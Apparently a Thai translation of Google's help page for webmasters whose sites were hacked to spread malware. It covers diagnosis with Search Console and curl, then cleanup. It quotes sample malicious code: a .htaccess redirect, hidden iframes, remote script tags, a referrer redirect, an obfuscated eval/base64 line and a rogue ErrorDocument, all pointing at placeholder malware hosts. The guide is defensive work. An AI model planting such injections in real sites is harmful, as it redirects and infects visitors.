ถูกแฮ็กให้แพร่กระจายมัลแวร์

มัลแวร์คือซอฟต์แวร์หรือแอปพลิเคชันบนอุปกรณ์เคลื่อนที่ที่ออกแบบมาเพื่อทำอันตรายต่อคอมพิวเตอร์ อุปกรณ์เคลื่อนที่ ซอฟต์แวร์ที่อุปกรณ์ใช้ หรือผู้ใช้โดยเฉพาะ ดูข้อมูลเพิ่มเติมเกี่ยวกับมัลแวร์ได้ที่มัลแวร์และซอฟต์แวร์ไม่พึงประสงค์

หากเว็บไซต์มีมัลแวร์ ผู้ใช้มักจะเห็นคำเตือน "เว็บไซต์นี้อาจเป็นอันตรายต่อคอมพิวเตอร์ของคุณ" ปรากฏในผลการค้นหาหรือในหน้าเว็บคั่นระหว่างหน้าที่เบราว์เซอร์แสดงเมื่อผู้ใช้พยายามเข้าชมเว็บไซต์ ในลักษณะเช่นนี้

หน้าเว็บคั่นระหว่างหน้าที่เป็นมัลแวร์ตัวแทน
ผลการค้นหาที่มีคำเตือนเกี่ยวกับมัลแวร์

โดยต้องใช้สิ่งต่างๆ ดังนี้

  • สิทธิ์เข้าถึงเซิร์ฟเวอร์ของเว็บไซต์ ไม่ว่าจะเป็นเว็บ ฐานข้อมูล และไฟล์ของผู้ดูแลระบบ Shell หรือเทอร์มินัล
  • ความรู้เกี่ยวกับคำสั่ง Shell หรือเทอร์มินัล
  • ความสามารถในการเรียกใช้การค้นหาของ SQL บนฐานข้อมูล

การเตรียมพร้อม

  • ลงชื่อสมัครใช้ Search Console และยืนยันการเป็นเจ้าของเว็บไซต์ที่ถูกแฮ็กตามที่อธิบายไว้ Search Console ให้ตัวอย่างหน้าที่ได้รับผลกระทบ ซึ่งทำให้ค้นหาและแก้ไขปัญหาการถูกแฮ็กด้วยมัลแวร์ได้ง่ายขึ้นมาก นอกจากนี้ คุณจะได้รับคำเตือนเมื่อพบว่าเว็บไซต์ได้รับผลกระทบจากมัลแวร์หรือการแฮ็กอื่นๆ หลายประเภท
  • ดูหน้าการวินิจฉัยของ Google Safe Browsing เพื่อดูข้อมูลสาธารณะเกี่ยวกับเว็บไซต์ว่าอาจเป็นอันตรายต่อผู้ใช้ไหม คุณดูสถานะข้อมูลของหน้าเว็บหรือเว็บไซต์ได้จาก URL ที่มีลักษณะดังนี้ https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** ตัวอย่างเช่น https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> อาจเป็น URL ของหน้าเว็บที่เจาะจง (http://example.com/badpage) หรือทั้งเว็บไซต์ (example.com) ก็ได้

  • หลีกเลี่ยงการใช้เบราว์เซอร์เพื่อดูหน้าในเว็บไซต์ เนื่องจากมัลแวร์มักจะแพร่กระจายโดยใช้ช่องโหว่ของเบราว์เซอร์ การเปิดหน้าเว็บที่ติดมัลแวร์ในเบราว์เซอร์อาจทำให้คอมพิวเตอร์ของคุณเสียหายได้ ใช้ cURL หรือ Wget เพื่อส่งคำขอ HTTP (เช่น เพื่อดึงหน้าเว็บ) เว้นแต่ว่าวิธีการวินิจฉัยระบุว่าเข้าถึงหน้าเว็บโดยตรงในเบราว์เซอร์

    เครื่องมือที่ใช้งานได้ฟรีเหล่านี้มีประโยชน์ในการวิเคราะห์การเปลี่ยนเส้นทาง รวมทั้งให้ความยืดหยุ่นในการรวมข้อมูล URL ที่มาหรือ User Agent การใส่ URL ที่มาหรือ User Agent ที่เจาะจงนั้นจะช่วยเลียนแบบแฮ็กเกอร์ได้ เนื่องจากแฮ็กเกอร์อาจแสดงเนื้อหาที่เป็นอันตรายต่อผู้ใช้โดยใช้ User Agent หรือ URL ที่มาที่เจาะจงเพื่อกำหนดเป้าหมายไปยัง "ผู้ที่มีตัวตนอยู่จริง" มากขึ้น และหลีกเลี่ยงการตรวจพบจากเจ้าของเว็บไซต์และโปรแกรมสแกนมัลแวร์

`curl -v --referer "http://www.google.com" <your-url>`

ตัวอย่างที่ระบุทั้ง User Agent และ URL ที่มา

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

เราขอแนะนำให้ดึงข้อมูลหน้าเว็บทั้งที่มีและไม่มี --referer "https://www.google.com" เนื่องจากมัลแวร์บางประเภทจะทำงานเมื่อผู้ใช้มาจากผลการค้นหาของ Google Search เท่านั้น

  • สร้างเอกสารสำหรับบันทึกสิ่งที่พบในขั้นตอนนี้ สุดท้ายนี้ เอกสารจะมีชื่อและตำแหน่งของแต่ละไฟล์ที่เสียหาย รวมถึงหมายเหตุเกี่ยวกับการติด (เป็นอย่างน้อย) ที่จะใช้เป็นข้อมูลพื้นฐานในการทำความสะอาดและดูแลรักษาเว็บไซต์ของคุณ

  • ดูวิดีโอก่อนหน้านี้ในหน้านี้เพื่อดูวิธีการทำงานของมัลแวร์และวิธีรักษาความปลอดภัยระหว่างการตรวจสอบมัลแวร์

การวินิจฉัย

ตรวจสอบว่ามัลแวร์ใดส่งผลต่อเว็บไซต์ของคุณ โดยทำดังนี้

  1. เปิดรายงานปัญหาด้านความปลอดภัยของเว็บไซต์ใน Search Console ขยายคำอธิบายคำเตือนมัลแวร์เพื่อดูรายการตัวอย่างหน้าเว็บที่ได้รับผลกระทบ โปรดทราบว่ารายการนี้ไม่ได้ครอบคลุมข้อมูลทั้งหมด คุณอาจไม่เห็นหน้าตัวอย่างของมัลแวร์ทุกประเภทในเว็บไซต์ของคุณ
  2. ทดสอบหน้าเว็บตัวอย่างเพื่อหามัลแวร์ประเภทต่อไปนี้

มัลแวร์การกำหนดค่าเซิร์ฟเวอร์ (การเปลี่ยนเส้นทางที่ไม่พึงประสงค์)

แฮ็กเกอร์ได้แฮ็กเว็บไซต์ของคุณและเปลี่ยนเส้นทางผู้เข้าชมจากเว็บไซต์ที่ดีของคุณไปยังเว็บไซต์โจมตีมัลแวร์ ด้วยการแก้ไขไฟล์การกำหนดค่าของเซิร์ฟเวอร์ โดยไฟล์นี้จะอนุญาตให้ผู้ดูแลระบบของเว็บไซต์ระบุการเปลี่ยนเส้นทาง URL สำหรับหน้าเว็บหรือไดเรกทอรีที่เจาะจงในเว็บไซต์ได้ เช่น ในเซิร์ฟเวอร์ Apache จะหมายถึงไฟล์ .htaccess และ httpd.conf

การวินิจฉัย

ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย การตอบสนองจากหน้าที่ติดมัลแวร์ประเภท "การกำหนดค่าเซิร์ฟเวอร์" อาจมีส่วนหัวต่อไปนี้

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

ระบุไฟล์ที่ได้รับผลกระทบ

ลงชื่อเข้าใช้เซิร์ฟเวอร์ผ่านการเข้าถึง Shell หรือเทอร์มินัล (เว็บไซต์อาจออฟไลน์ได้หากต้องการ) และตรวจสอบไฟล์การกำหนดค่าเซิร์ฟเวอร์ที่เกี่ยวข้อง อาจมีไฟล์การกำหนดค่าเซิร์ฟเวอร์ที่ถูกแฮ็กมากกว่า 1 ไฟล์ในเว็บไซต์ ให้ตรวจหาคำสั่งที่ไม่พึงประสงค์ในไฟล์เหล่านี้ เช่น การเปลี่ยนเส้นทางไปยังเว็บไซต์ที่ไม่รู้จัก ตัวอย่างเช่น ในไฟล์ .htaccess` คุณอาจเห็นการเปลี่ยนเส้นทางที่มีลักษณะดังนี้

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

การแทรก SQL

แฮ็กเกอร์ได้แฮ็กฐานข้อมูลของเว็บไซต์ ตัวอย่างเช่น แฮ็กเกอร์อาจเขียนโปรแกรมแทรกโค้ดที่เป็นอันตรายลงในบันทึกทุกรายการของตารางฐานข้อมูล เพื่อที่ว่าเมื่อเซิร์ฟเวอร์โหลดหน้าเว็บที่ต้องใช้ข้อมูลจากฐานข้อมูล โค้ดที่เป็นอันตรายจะฝังอยู่ในเนื้อหาของหน้าและอาจเป็นอันตรายต่อผู้เข้าชมเว็บไซต์ได้

การวินิจฉัย

  1. เรียกใช้คำค้นหาบางรายการใน URL ที่ได้รับผลกระทบในบรรทัดคำสั่ง และตรวจสอบการตอบสนองสำหรับคำโจมตี SQL เช่น "iframe" หรือ "eval"
  2. ลงชื่อเข้าใช้เซิร์ฟเวอร์ฐานข้อมูลหรือดูฐานข้อมูลผ่านเครื่องมือ อย่างเช่น phpMyAdmin หากคุณใช้ Wget หรือ cURL ให้ลองเปรียบเทียบความเสียหายที่พบในซอร์สโค้ดของหน้าผ่าน Wget หรือ cURL กับรายการฐานข้อมูลจริง ตัวอย่างเช่น หากคุณสังเกตเห็นว่าหน้าเว็บของคุณมี iframe ที่เป็นอันตราย คุณสามารถดำเนินการค้นหา SQL เพื่อค้นหาโค้ด iframe ได้ เช่น

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. คุณอาจต้องตรวจสอบบันทึกฐานข้อมูลและไฟล์ข้อผิดพลาดบนเซิร์ฟเวอร์เพื่อหากิจกรรมที่ผิดปกติ เช่น คำสั่ง SQL ที่ไม่คาดคิดซึ่งดูผิดปกติสำหรับผู้ใช้ทั่วไปหรือข้อผิดพลาด

แก้ไขปัญหา

อัปเดตระเบียนฐานข้อมูลที่ติดไวรัสแต่ละระเบียน หรือคืนค่าข้อมูลสำรองของฐานข้อมูลที่ใช้งานล่าสุด

การแทรกโค้ด

หน้าในเว็บไซต์ของคุณได้รับการแก้ไขให้มีโค้ดที่เป็นอันตราย เช่น iframe ไปยังเว็บไซต์โจมตีมัลแวร์

การวินิจฉัย

ไปที่บางตัวอย่าง URL ที่แสดงในรายงานปัญหาด้านความปลอดภัยด้วย cURL หรือ wGet และตรวจสอบโค้ดที่น่าสงสัย โค้ดที่แทรกอาจมีได้หลายประเภทและ หาได้ยาก โดยอาจค้นหาคำว่า "iframe" เพื่อค้นหาโค้ด iframe คีย์เวิร์ดที่เป็นประโยชน์อื่นๆ คือ "script", "eval" และ "unescape" ตัวอย่างเช่น หากต้องการค้นหาไฟล์ทั้งหมดสำหรับ "iframe" ในระบบที่ใช้ Unix ให้ใช้คำสั่งต่อไปนี้

$grep -irn "iframe" ./ | less</pre>

ตัวอย่างรูปแบบมัลแวร์ที่พบบ่อยซึ่งควรตรวจหามีดังนี้

iframe ที่โหลดเว็บไซต์ที่เป็นอันตราย

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript หรือภาษาสคริปต์อื่นที่เรียกใช้สคริปต์จากเว็บไซต์โจมตี

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

การเขียนสคริปต์ที่เปลี่ยนเส้นทางเบราว์เซอร์ไปยังเว็บไซต์โจมตี

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

โค้ดที่เป็นอันตรายที่ถูกทำให้สับสนเพื่อหลีกเลี่ยงการตรวจพบ

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

ไฟล์ออบเจ็กต์ที่แชร์ออกแบบมาเพื่อสุ่มเขียนโค้ดที่เป็นอันตรายลงในสคริปต์ที่ไม่เป็นอันตราย

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

เทมเพลตข้อผิดพลาดที่เป็นอันตราย

เทมเพลตที่ใช้สำหรับข้อความแสดงข้อผิดพลาด เช่น 404 ไม่พบไฟล์ ได้รับการกำหนดค่าเพื่อเผยแพร่มัลแวร์ ด้วยวิธีนี้ ผู้โจมตีจะเรียกใช้การโจมตีใน URL ที่ไม่มีอยู่ในเว็บไซต์ของคุณได้

การวินิจฉัย

ขอหน้าในเว็บไซต์ที่ไม่มีอยู่ หรือมีข้อผิดพลาดประเภทอื่น และตรวจสอบการตอบกลับเพื่อดูว่ามาจากเว็บไซต์อื่นหรือมีมัลแวร์หรือไม่

แก้ไขปัญหา

ลงชื่อเข้าใช้เว็บเซิร์ฟเวอร์และค้นหาคำสั่งหน้าแสดงข้อผิดพลาดในไฟล์การกำหนดค่าเซิร์ฟเวอร์ เช่น เทมเพลตข้อผิดพลาดสำหรับเว็บเซิร์ฟเวอร์ Apache จะประกาศได้ในไฟล์ .htaccess ต่อไปนี้คือตัวอย่างรายการไฟล์ .htaccess ที่ดึงหน้าข้อผิดพลาด 404 จากเว็บไซต์ที่เป็นอันตราย

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

เมื่อคุณพร้อมทำความสะอาดเว็บไซต์ ให้แทนที่ไฟล์ .htaccess ด้วยข้อมูลสำรองที่ใช้งานได้ดี หรือลบคำสั่ง ErrorDocument ไม่พึงประสงค์ในไฟล์ .htaccess ที่มีอยู่ อย่าลืมทำความสะอาดไฟล์ที่มีข้อผิดพลาดจริงด้วย หากไฟล์อยู่ในเว็บไซต์ของคุณ สุดท้าย ให้รีสตาร์ทเว็บเซิร์ฟเวอร์เพื่อตรวจสอบว่าการเปลี่ยนแปลงทั้งหมดมีผล

ทรัพยากรที่โหลดจากเว็บไซต์ที่ถูกบุกรุกหรือเป็นอันตราย {compromised-resources}

เว็บไซต์ของคุณใช้เนื้อหาหรือทรัพยากรจากเว็บไซต์ที่ทราบแล้วว่ามีเนื้อหาที่เป็นอันตราย ซึ่งอาจเป็นไฟล์ JavaScript, รูปภาพ หรือไฟล์อื่นๆ ด้วยเหตุนี้ เว็บไซต์จะถูกแจ้งว่ามีมัลแวร์ที่โหลดมาจากเว็บไซต์อื่นๆ

การวินิจฉัย

ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย

แก้ไขปัญหา

  1. ยืนยันปัญหาโดยเรียกดู URL ตัวอย่างบางรายการที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัยใน Search Console คุณจะเห็นคำเตือนของเบราว์เซอร์
  2. คำเตือนของเบราว์เซอร์จะบอกโดเมนของเนื้อหาที่เป็นปัญหา ให้นำการอ้างอิงไปยังเว็บไซต์ที่มีการแจ้งทั้งหมดออก ซึ่งแสดงไว้ในคำเตือนของเบราว์เซอร์ หากมีการรวมเนื้อหาจากเว็บไซต์ที่มีการแจ้งเข้ามาโดยที่คุณไม่ทราบ แสดงว่าปัญหาร้ายแรงขึ้น มีความเป็นไปได้สูงที่เว็บไซต์ของคุณจะถูกโจมตี และคุณควรตรวจสอบเว็บไซต์ของคุณต่อไปเพื่อหาการแฮ็กและช่องโหว่อื่นๆ
  3. หากคุณเจตนารวมเนื้อหาจากเว็บไซต์ที่ถูกต้องซึ่งถูกแจ้งว่าไม่เหมาะสม และต้องการรวมเนื้อหาดังกล่าวกลับเข้าไปอีกครั้งหลังจากที่เว็บไซต์ที่ถูกแจ้งว่าไม่เหมาะสมแล้ว คุณสามารถตรวจสอบสถานะของเว็บไซต์ที่มีการแจ้งว่าไม่เหมาะสมได้โดยใช้หน้าการวินิจฉัยของ Google Safe Browsing สำหรับเว็บไซต์นั้น (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} เจ้าของเว็บไซต์ที่ถูกต้องมักทำความสะอาดเว็บไซต์อย่างรวดเร็ว

การตรวจสอบเพิ่มเติม

จากนั้นตรวจหาไฟล์ที่เป็นอันตรายเพิ่มเติมหรือการเปลี่ยนแปลงในระบบ แฮกเกอร์อาจแก้ไขหน้าเว็บหรือบันทึกในฐานข้อมูลที่มีอยู่ สร้างหน้าเว็บสแปมขึ้นใหม่ทั้งหมด เขียนฟังก์ชันที่แสดงสแปมในหน้าที่สะอาด หรือสร้าง "ประตูหลัง" ที่เปิดโอกาสให้แฮ็กเกอร์เข้ามาในเว็บไซต์ได้อีกครั้ง หรือแทรกโค้ดที่เป็นอันตรายซึ่งคุณนำออกไปแล้วอีกครั้ง

หากเว็บไซต์ออนไลน์อยู่ ให้พิจารณาทำเป็นออฟไลน์เพื่อการตรวจสอบนี้

หากคุณมีข้อมูลสำรองของไซต์ที่ปราศจากปัญหาใดๆ ให้ระบุว่าไฟล์ใดสร้างขึ้นหรือมีการแก้ไขหลังจากสำรองข้อมูลและตรวจสอบไฟล์เหล่านั้น ในระบบ Unix คุณสามารถใช้คำสั่งต่อไปนี้เพื่อหาไฟล์ใหม่

diff -qr <current-directory> <backup-directory>

เช่น

diff -qr www/ backups/full-backup-20120124/

เพิ่มเติม

md5sum <current-page> <backup-page>

เช่น

md5sum www/page.html backups/full-backup-20120124/page.html

ตรวจสอบบันทึกของเซิร์ฟเวอร์ การเข้าถึง และข้อผิดพลาดเพื่อหากิจกรรมที่น่าสงสัย เช่น การพยายามเข้าสู่ระบบที่ไม่สำเร็จ ประวัติคำสั่ง (โดยเฉพาะอย่างยิ่งจากราก) และการสร้างบัญชีผู้ใช้ที่ไม่รู้จัก โปรดทราบว่าแฮ็กเกอร์อาจมีการแก้ไขบันทึกเหล่านี้เพื่อวัตถุประสงค์ส่วนตัว ตัวอย่างวิดีโอบางส่วนแสดงการระบุช่องโหว่

ตรวจสอบไฟล์การกำหนดค่าสำหรับการเปลี่ยนเส้นทาง โดยทั่วไปไฟล์การกำหนดค่าจะมีชื่อว่า .htaccess และ httpd.conf แฮกเกอร์มักจะสร้างการเปลี่ยนเส้นทาง แบบมีเงื่อนไขตาม User Agent ช่วงเวลาของวัน หรือ URL ที่มา หากจำเป็นต้องอัปเดตไฟล์การกำหนดค่า คุณอาจต้องรีสตาร์ทเซิร์ฟเวอร์เพื่อให้การเปลี่ยนแปลงมีผล

ตรวจสอบว่ามีการให้สิทธิ์ผ่อนปรนโฟลเดอร์และไฟล์ที่มากจนเกินไป แฮกเกอร์จะปรับเปลี่ยนสิทธิ์ เนื่องจากหากเจ้าของเว็บไซต์ไม่พบการให้สิทธิ์ผ่อนปรนดังกล่าว แฮกเกอร์จะมีวิธีกลับไปยังไซต์ได้ ไฟล์ขนาดใหญ่กว่า 644 (rw-r--r--) และโฟลเดอร์ที่มีขนาดใหญ่กว่า 755 (rwxr-xr-x) อาจทำให้เกิดปัญหาด้านความปลอดภัย ตรวจสอบว่าการให้สิทธิ์อย่างหละหลวมนั้นเกินความจำเป็นไหม ในระบบ Unix ให้ลองใช้คำสั่งต่อไปนี้

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

และ:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

หากคุณมีฐานข้อมูล ให้ตรวจสอบข้อมูลแต่ละรายการโดยใช้เครื่องมืออย่างเช่น phpMyAdmin